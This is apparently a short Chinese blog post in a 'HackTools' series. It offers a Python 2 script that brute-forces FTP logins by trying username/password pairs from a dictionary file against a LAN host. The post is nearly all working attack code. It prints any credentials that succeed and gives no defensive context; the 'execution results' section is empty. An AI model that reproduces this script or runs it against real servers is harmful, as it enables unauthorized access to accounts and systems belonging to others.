1. 程式人生 > >HackTools————8、暴力破解FTP登入選項

HackTools————8、暴力破解FTP登入選項

思路主要還是使用FTP使用者名稱與密碼字典對FTP進行登入的破解

具體的程式碼如下:

#encoding:utf-8
import ftplib
def brutelogin(hostname,passwdFile):
    pF=open(passwdFile,'r')
    for line in pF.readlines():
        userName=line.split(':')[0]
        passWord=line.split(':')[1].strip('\r').strip('\n')
        print "[+] Trying:"+userName+"/"+passWord
        try:
            ftp=ftplib.FTP(hostname)
            ftp.login(userName,passWord)
            print '\n[*]'+str(hostname)+'FTP login Succeeded:'+userName+'/'+passWord
            ftp.quit()
            return (userName,passWord)
        except Exception,e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None,None)
host='192.168.11.138'
passWdFile='userpass.txt'
brutelogin(host,passWdFile)

執行結果:


這個仍然有美中不足,有待改進!